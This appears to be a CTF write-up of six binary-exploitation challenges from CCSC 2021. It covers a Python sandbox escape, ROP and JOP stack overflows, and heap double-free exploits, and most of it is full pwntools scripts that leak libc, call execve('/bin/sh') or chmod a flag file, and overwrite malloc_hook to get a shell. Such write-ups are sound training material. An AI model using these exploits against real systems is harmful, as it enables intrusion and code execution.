CCSC 2021 - Writeups
Binary Exploitation (PWN)
Chess Portal [Easy]
This challenge boils down to a relatively simple python “jail” escape. With some minor googling I was able to locate an RCE exploit for python in a restricted environment.
print(getattr(getattr(getattr(main, '__globals__')['__builtins__'], '\x6f\x70\x65\x6e')('flag.txt', 'rb'), '\x72\x65\x61\x64')())
Since commands to read a file from the system were blocked, the getattr
function was used to navigate up the python object and locate the function open
and later on read
to print the file content to the screen.
Ask Me Anything [Easy]
Ask Me Anything was a simple buffer overflow challenge that could be solved with return oriented programming (ROP). The python pwntools
library was used to assist in the solution of this challenge.
Step 1
Firstly, I located the return address of the current stack frame, with a combination of the cyclic
and cyclic_find
functions.
Step 2
Then for the first stage of the exploit, I needed to leak the base address of libc
so I can later on call system("/bin/sh")
.
This was done by calling the puts
function from the global offset table (GOT) of the binary, to print the address of a libc
function from the GOT. After this the main
function is called to prepare for the second stage of the exploit.
For finding the libc base offset for the libc function, an online libc database was used (libc database).
rop = ROP(elf)
base = b"A"*cyclic_find("jaab")
rop.call("puts", [elf.symbols.got.puts])
rop.call("main")
log.info(rop.dump())
payload = base + rop.chain()
rl(); rl()
sla('?', payload)
puts_libc = uu64(ru('H')[2:-2])
libc.address = puts_libc - libc.symbols.puts
log_addr("puts@libc", puts_libc)
log_addr("libc base", libc.address)
Step 3
For the second stage of the exploit, the system
function was called with the "/bin/sh"
string to spawn a shell.
When I run the exploit for the first time, it did not work as there was a stack alignment issue. This was fixed by adding a ret instruction before the payload.
rop = ROP(elf)
rop.call(libc.symbols.system, [next(libc.search(b'/bin/sh\x00'))])
log.info(rop.dump())
ret = p64(0x000000000040048e)
payload = base + ret + rop.chain()
rl(); rl()
sla('?', payload)
io.interactive()
Full Exploit Code
#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'
binary = './pwn'
elf = ELF(binary)
if args.R:
libc = ELF('libc6_2.27-3ubuntu1.4_amd64.so')
else:
libc = elf.libc
ssh_en = False
if args.R:
host = '192.168.125.11'
port = 51337
if ssh_en:
user = ''
password = ''
r = ssh(user=user, host=host, port=port, password=password)
def start():
if args.R:
if not ssh_en: return remote(host, port)
else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
else:
gs = '''
init-gef
c
'''
if args.GDB: return gdb.debug(elf.path, gs)
else: return process(elf.path)
def log_addr(name, addr):
log.info('{}: 0x{:x}'.format(name, addr))
io = start()
sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
rop = ROP(elf)
base = b"A"*cyclic_find("jaab")
rop.call("puts", [elf.symbols.got.puts])
rop.call("main")
log.info(rop.dump())
payload = base + rop.chain()
rl(); rl()
sla('?', payload)
puts_libc = uu64(ru('H')[2:-2])
libc.address = puts_libc - libc.symbols.puts
log_addr("puts@libc", puts_libc)
log_addr("libc base", libc.address)
rop = ROP(elf)
rop.call(libc.symbols.system, [next(libc.search(b'/bin/sh\x00'))])
log.info(rop.dump())
ret = p64(0x000000000040048e)
payload = base + ret + rop.chain()
rl(); rl()
sla('?', payload)
io.interactive()
Resignation [Easy]
For this challenge, I did not follow the intended solution. The intended solution was with the use of the sigReturn
syscall. You can read more about it here.
For me solving this challenge was a lot of fiddling around with the stack until I got it just right to allow me to call execve
syscall with the right arguments, so there is not much to explain here.
Full Exploit Code
#!/usr/bin/python3
from pwn import *
import time
context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'
binary = './pwn'
elf = ELF(binary)
ssh_en = False
if args.R:
host = '192.168.125.11'
port = 4337
if ssh_en:
user = ''
password = ''
r = ssh(user=user, host=host, port=port, password=password)
def start():
if args.R:
if not ssh_en: return remote(host, port)
else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
else:
gs = '''
init-gef
br *0x40012a
# br *0x40015c
c
c
c
'''
if args.GDB: return gdb.debug(elf.path, gs)
else: return process(elf.path)
def log_addr(name, addr):
log.info('{}: 0x{:x}'.format(name, addr))
io = start()
sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
rl()
buf = 0x0000000000600180
# 1. Read into 0x0000000000600180 (overwrite .data string with /bin/sh)
payload = b''
payload += b"``bash\x00\x00"
payload += p64(0x000000000040015c) # pop rax; ret
payload += p64(0x3b) # execve
payload += p64(0x0000000000400135) # syscall
payload = payload.ljust(32, b"B")
payload += p64(buf - 0x20)
payload += p64(0x00000000400116)
# esp change to 0x0000000000600160
sl(payload)
time.sleep(2)
# Call execve with /bin/sh
payload = b"#"*(cyclic_find("caaa") - 0x8) # make sure argv does not interfere
payload += b'\x00'*8
payload += p64(0x000000000040015c) # pop rax; ret # Just for junk data
payload += b'/bin/sh\x00'*5
payload += p64(0x000000000040015c) # pop rax; ret
payload += p64(0x3b) # execve
payload += p64(0x0000000000400155)
sl(payload)
io.interactive()
Chassanalyzer [Medium]
From reverse engineering the binary, I notised that my buffer overflowed into a pointer, so by overwriting that point I could execute the system
function from libc
. My analysis was mostly based on dynamic analysis of the binary in gdb
The first thing I did was overflow the buffere and used puts to print out a libc address from the stack. After that I just execute the system
function. The arguments were already set correctly from before.
Full Exploit Code
#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'i386'
binary = './pwn'
elf = ELF(binary)
if args.R:
libc = ELF('./libc6-i386_2.27-3ubuntu1.4_amd64.so')
else:
libc = elf.libc
ssh_en = False
if args.R:
host = '192.168.125.11'
port = 41337
if ssh_en:
user = ''
password = ''
r = ssh(user=user, host=host, port=port, password=password)
def start():
if args.R:
if not ssh_en: return remote(host, port)
else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
else:
gs = '''
init-gef
br *0x08048642
c
'''
if args.GDB: return gdb.debug(elf.path, gs)
else: return process(elf.path)
def log_addr(name, addr):
log.info('{}: 0x{:x}'.format(name, addr))
io = start()
sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu32 = lambda x : u32(x.ljust(4, b'\x00'))
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
ru(':')
# buf overflows into a pointer
payload = b'/bin/sh\x00'.ljust(0x28, b"A")
payload += p32(elf.symbols.got.puts)
se(payload)
ru("Old(")
libc_start_main_libc = uu32(ru(")\n")[:-2][-4:])
libc.address = libc_start_main_libc - libc.symbols['__libc_start_main']
log_addr("libc_start_main libc", libc_start_main_libc)
log_addr("libc base", libc.address)
sa(':', p32(libc.symbols.system))
io.interactive()
Two Knights [Medium]
For me, this was the hardest binary exploitation challenge in the CTF. The given binary was very small, with no linked libraries; so no libc this time. So to this challenge jump oriented programming (JOP) technics had to be used. After locating the right offset at which, I overwrite the instruction pointer, I started developing my exploit.
The writable amount of memory after the instruction pointer was very limited at only three qwords (12 bytes). By using a pop rsp
gadget changed the stack pointer to another part of memory that my payload was copied to.
Then for my main payload, I combined multiple gadgets to change the rdi, rsi, rdx
to the correct value, set rax
to the right syscall, and execute the syscall instruction. My payload to call execve
is shown below.
#!/usr/bin/python3
from pwn import *
import time
context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'
binary = './pwn'
elf = ELF(binary)
ssh_en = False
if args.R:
host = '192.168.125.11'
port = 3337
if ssh_en:
user = ''
password = ''
r = ssh(user=user, host=host, port=port, password=password)
def start():
if args.R:
if not ssh_en: return remote(host, port)
else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
else:
gs = '''
init-gef
br *0x400137
c
'''
if args.GDB: return gdb.debug(elf.path, gs)
else: return process(elf.path)
def log_addr(name, addr):
log.info('{}: 0x{:x}'.format(name, addr))
io = start()
sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
offset = cyclic_find("baab")
binsh = 0x60017c
syscall_addr = 0x00000000400162
log_addr("buf start", binsh)
# new stack pointer
new_stack = 0x60017c + 8
payload = b'/bin/sh\x00'
# execve
payload += p64(0x00000000400169) # r13 => pop r13; pop r12; pop rcx; jmp rcx;
payload += p64(0x0000000040016b) # pop r12; pop rcx; jmp rcx;
payload += p64(59)
payload += p64(0x00000000400120) # lea rdi, [0x60017c]; jmp r13;
payload += p64(59) # execve
payload += p64(0x00000000400170) # rcx => mov rbx, r12; jmp r13;
payload += p64(0x00000000400162) # r12 => mov edx, 0; syscall;
payload += p64(0x00000000400176) # rcx => xchg rbx, rax; jmp r12;
print(hex(offset - len(payload)), hex(offset))
payload = payload.ljust(offset, b'\x00')
payload += p64(0x0000000040016c) # pop rsp; pop rcx; jmp rcx;
payload += p64(new_stack)
sl(payload)
io.interactive()
After this, I assumed I was done with the challenge, but that was not true, as the flag.txt
file was readable only by the root user. There was a simple way to get root privileges, by using the -p
flag when calling /bin/sh
. I wasn’t aware about that flag so as an alternative I wrote another exploit script that instead of calling execve
it calls the chmod
syscall on the file to make it globally readable by all users. The script is shown below.
#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'
binary = './pwn'
elf = ELF(binary)
ssh_en = False
if args.R:
host = '192.168.125.11'
port = 3337
if ssh_en:
user = ''
password = ''
r = ssh(user=user, host=host, port=port, password=password)
def start():
if args.R:
if not ssh_en: return remote(host, port)
else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
else:
gs = '''
init-gef
br *0x400137
c
'''
if args.GDB: return gdb.debug(elf.path, gs)
else: return process(elf.path)
def log_addr(name, addr):
log.info('{}: 0x{:x}'.format(name, addr))
io = start()
sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
offset = cyclic_find("baab")
binsh = 0x60017c
syscall_addr = 0x00000000400162
log_addr("buf start", binsh)
# new stack pointer
new_stack = 0x60017c + 0x10
payload = b'flag.txt'
payload += b'\x00' * 8
# execve
payload += p64(0x00000000400169) # r13 => pop r13; pop r12; pop rcx; jmp rcx;
payload += p64(0x0000000040016b) # pop r12; pop rcx; jmp rcx;
payload += p64(90)
payload += p64(0x0000000040011c) # lea rsi, [rbp-0x60]; lea rdi, [0x60017c]; jmp r13;
payload += p64(90) # chmod
payload += p64(0x00000000400170) # rcx => mov rbx, r12; jmp r13;
payload += p64(0x00000000400162) # r12 => mov edx, 0; syscall;
payload += p64(0x00000000400176) # rcx => xchg rbx, rax; jmp r12;
print(hex(offset - len(payload)), hex(offset))
payload = payload.ljust(offset - 8, b'\x00')
payload += p64(0x4 + 0x60)
payload += p64(0x0000000040016c) # pop rsp; pop rcx; jmp rcx;
payload += p64(new_stack)
sl(payload)
io.interactive()
Caro-Kann Defence [Hard]
This was the first challenge I solved in the completion and also one of my personal favorites. The vulnerability on this binary was a buffer overflow on the heap. The application had four main functionalities, create
, delete
, view
and edit
. I created wrapper functions in python to easily execute those commands.
def create(name):
sl('1')
sa(':', name)
return ru(':')
def delete(index):
log.info("Delete: {:d}".format(index))
sl('2')
sla(':', str(index))
return ru(':')
def view(index):
sl('3')
sla(':', str(index))
ru(':')
return ru('Main')[1:-6]
def edit(index, name):
sl('4')
sla(':', str(index))
sa(':', name)
return ru(':')
For setting up the exploit I first created four chunks new chunks. The main idea was to first free a chunk to add it to the fast-bin and then through a use-after-free (UAF) vulnerability, leak the heap base address.
offset = 0x30
# Create
create(b'A'*0x40)
create(b'B'*0x40)
create(b'C'*(0x38-offset) + p64(0x71)) # To create a fake chunk
create(b'D'*0x40)
# Delete
delete(0)
delete(1)
delete(3)
# Leak heap address
heap_base = uu64(view(3)) - 0x70
log_addr('heap base', heap_base)
After that I create a fake chunk of size 0x80
and then free it so it goes to the small-bin instead of the fast-bin, thus leaking the address of the main_arena
in libc, along with the libc base address.
# Excecute Double Free
delete(0)
payload = p64(heap_base + 0x30)
payload += b"A"*0x20
payload += p64(0x71)
edit(0, payload)
create("CYberMouflons") # 3
# Modify size of chunk 1
log_addr("fake chunk start", heap_base + 0x80)
payload = b"X"*0x30
payload += p64(0x70)
payload += p64(0xe1)
create(payload) # 4
# Free chunk to small bin to leak libc
delete(1)
libc_leak = uu64(view(1)[14:])
libc.address = libc_leak - 0x399b20 - 0x58
log_addr('libc leak', libc_leak)
log_addr('libc base', libc.address)
Then finally, I once again abused the double-free vulnerability to overwrite the malloc_hook
in libc with the address of a one_gadget
and call malloc
with create
, thus popping a shell on the remote server.
# Write one_gadget on malloc_hook
delete(0)
# create non "recognizable chunk"
payload = p64(malloc_hook - 0x20 - 3)
edit(0, payload)
create("I WON?")
payload = b"AAA"
payload += b"B" * 0x10
payload += p64(one_gadget)
create(payload)
sla(':', '1')
Full Exploit Code
#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'
binary = './pwn'
elf = ELF(binary)
if args.R:
libc = ELF('./libc.so.6')
else:
libc = elf.libc
ssh_en = False
if args.R:
host = '192.168.125.11'
port = 1337
if ssh_en:
user = ''
password = ''
r = ssh(user=user, host=host, port=port, password=password)
def start():
if args.R:
if not ssh_en: return remote(host, port)
else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
else:
gs = '''
init-gef
# heap-analysis-helper
c
'''
if args.GDB: return gdb.debug(elf.path, gs)
else: return process(elf.path)
def log_addr(name, addr):
log.info('{}: 0x{:x}'.format(name, addr))
io = start()
sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
ru(':')
def create(name):
sl('1')
sa(':', name)
return ru(':')
def delete(index):
log.info("Delete: {:d}".format(index))
sl('2')
sla(':', str(index))
return ru(':')
def view(index):
sl('3')
sla(':', str(index))
ru(':')
return ru('Main')[1:-6]
def edit(index, name):
sl('4')
sla(':', str(index))
sa(':', name)
return ru(':')
# Double Free
offset = 0x30
# Create
create(b'A'*0x40)
create(b'B'*0x40)
create(b'C'*(0x38-offset) + p64(0x71)) # To create a fake chunk
create(b'D'*0x40)
# Delete
delete(0)
delete(1)
delete(3)
# Leak heap address
heap_base = uu64(view(3)) - 0x70
log_addr('heap base', heap_base)
# Excecute Double Free
delete(0)
payload = p64(heap_base + 0x30)
payload += b"A"*0x20
payload += p64(0x71)
edit(0, payload)
create("CYberMouflons") # 3
# Modify size of chunk 1
log_addr("fake chunk start", heap_base + 0x80)
payload = b"X"*0x30
payload += p64(0x70)
payload += p64(0xe1)
create(payload) # 4
# Free chunk to small bin to leak libc
delete(1)
libc_leak = uu64(view(1)[14:])
libc.address = libc_leak - 0x399b20 - 0x58
log_addr('libc leak', libc_leak)
log_addr('libc base', libc.address)
one_gadget = libc.address + 0xd6701
free_hook = libc.symbols.__free_hook
malloc_hook = libc.symbols.__malloc_hook
log_addr("one gadget", one_gadget)
log_addr("free hook", free_hook)
log_addr("malloc hook", malloc_hook)
# Write one_gadget on malloc_hook
delete(0)
# create non "recognizable chunk"
payload = p64(malloc_hook - 0x20 - 3)
edit(0, payload)
create("I WON?")
payload = b"AAA"
payload += b"B" * 0x10
payload += p64(one_gadget)
create(payload)
sla(':', '1')
io.interactive()
Doubled Pwns [Hard]
This was yet another heap exploitation challenge, very similar to the previous Caro-Kann Defence
challenge, with one significant difference; the libc binary in this challenge has the tcache
bins enabled. So, like to the previous challenge I created the four helper functions needed to inteface with the application, and created four chunks on the heap, freeing the two of them to leak the heap base address.
def create(name):
sl('1')
sa(':', name)
return ru(':')
def delete(index):
log.info("Delete: {:d}".format(index))
sl('2')
sla(':', str(index))
return ru(':')
def view(index):
sl('3')
sla(':', str(index))
ru(':')
return ru('Main')[1:-6]
def edit(index, name):
sl('4')
sla(':', str(index))
sa(':', name)
return ru(':')
# Double Free
offset = 0x30
# Create
create(b'A'*0x40)
create(b'B'*0x40)
create(b'C'*0x40)
create(b'D'*0x40)
# Leak heap address
heap_base = uu64(view(0)) - 0x2d0
chunk1 = heap_base + 0x260
log_addr('heap base', heap_base)
Then, because there was a need to get the libc base address, I created a fake chunk of size 0xe and filled the corrisponding tcache bin by freeing it 7 times, so that that for the 8th free the chunk would go into the small-bin thus leaking the libc main_arena and base address.
# Modify size of chunk 1
log_addr("fake chunk start", chunk1 + 0x80)
payload = b"X"*0x30
payload += p64(0x70)
payload += p64(2*0x70 + 1)
create(payload) # 4
# Fill tcache bin 0xe0
for i in range(7):
delete(1)
# Free chunk to small bin to leak libc
delete(1)
libc_leak = uu64(view(1)[14:])
libc.address = libc_leak - 0x3ebca0
log_addr('libc leak', libc_leak)
log_addr('libc base', libc.address)
one_gadget = libc.address + 0x10a38c
free_hook = libc.symbols.__free_hook
malloc_hook = libc.symbols.__malloc_hook
log_addr("one gadget", one_gadget)
log_addr("free hook", free_hook)
log_addr("malloc hook", malloc_hook)
Finally by abusing the double free vulnerability, I overwritten the malloc_hook
in libc with the address of a one_gadget
.
# Write one_gadget on malloc_hook
delete(0)
delete(0)
delete(0)
# create non "recognizable chunk"
payload = p64(malloc_hook - 0x10 - 3)
edit(0, payload)
create("I WON?")
payload = b"AAA"
payload += b"B" * 0x10
payload += p64(one_gadget)
create(payload)
sla(':', '1')
Full Exploit Code
#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'
binary = './pwn'
elf = ELF(binary)
if args.R:
libc = ELF('./libc.so.6')
else:
libc = ELF('./libc.so.6')
ssh_en = False
if args.R:
host = '192.168.125.11'
port = 2337
if ssh_en:
user = ''
password = ''
r = ssh(user=user, host=host, port=port, password=password)
def start():
if args.R:
if not ssh_en: return remote(host, port)
else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
else:
gs = '''
init-gef
br *0x555555554870
c
'''
if args.GDB: return gdb.debug(elf.path, gs)
else: return process(elf.path)
def log_addr(name, addr):
log.info('{}: 0x{:x}'.format(name, addr))
io = start()
sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
ru(':')
def create(name):
sl('1')
sa(':', name)
return ru(':')
def delete(index):
log.info("Delete: {:d}".format(index))
sl('2')
sla(':', str(index))
return ru(':')
def view(index):
sl('3')
sla(':', str(index))
ru(':')
return ru('Main')[1:-6]
def edit(index, name):
sl('4')
sla(':', str(index))
sa(':', name)
return ru(':')
# Double Free
offset = 0x30
# Create
create(b'A'*0x40)
create(b'B'*0x40)
create(b'C'*0x40)
create(b'D'*0x40)
# Delete
delete(1)
delete(0)
# Leak heap address
heap_base = uu64(view(0)) - 0x2d0
chunk1 = heap_base + 0x260
log_addr('heap base', heap_base)
# # Excecute Double Free
payload = p64(chunk1 + 0x30)
payload += b"A"*0x20
payload += p64(0x71)
edit(0, payload)
create("CYberMouflons")
# Modify size of chunk 1
log_addr("fake chunk start", chunk1 + 0x80)
payload = b"X"*0x30
payload += p64(0x70)
payload += p64(2*0x70 + 1)
create(payload) # 4
# Fill tcache bin 0xe0
for i in range(7):
delete(1)
# Free chunk to small bin to leak libc
delete(1)
libc_leak = uu64(view(1)[14:])
libc.address = libc_leak - 0x3ebca0
log_addr('libc leak', libc_leak)
log_addr('libc base', libc.address)
one_gadget = libc.address + 0x10a38c
free_hook = libc.symbols.__free_hook
malloc_hook = libc.symbols.__malloc_hook
log_addr("one gadget", one_gadget)
log_addr("free hook", free_hook)
log_addr("malloc hook", malloc_hook)
# Write one_gadget on malloc_hook
delete(0)
delete(0)
delete(0)
# create non "recognizable chunk"
payload = p64(malloc_hook - 0x10 - 3)
edit(0, payload)
create("I WON?")
payload = b"AAA"
payload += b"B" * 0x10
payload += p64(one_gadget)
create(payload)
sla(':', '1')
io.interactive()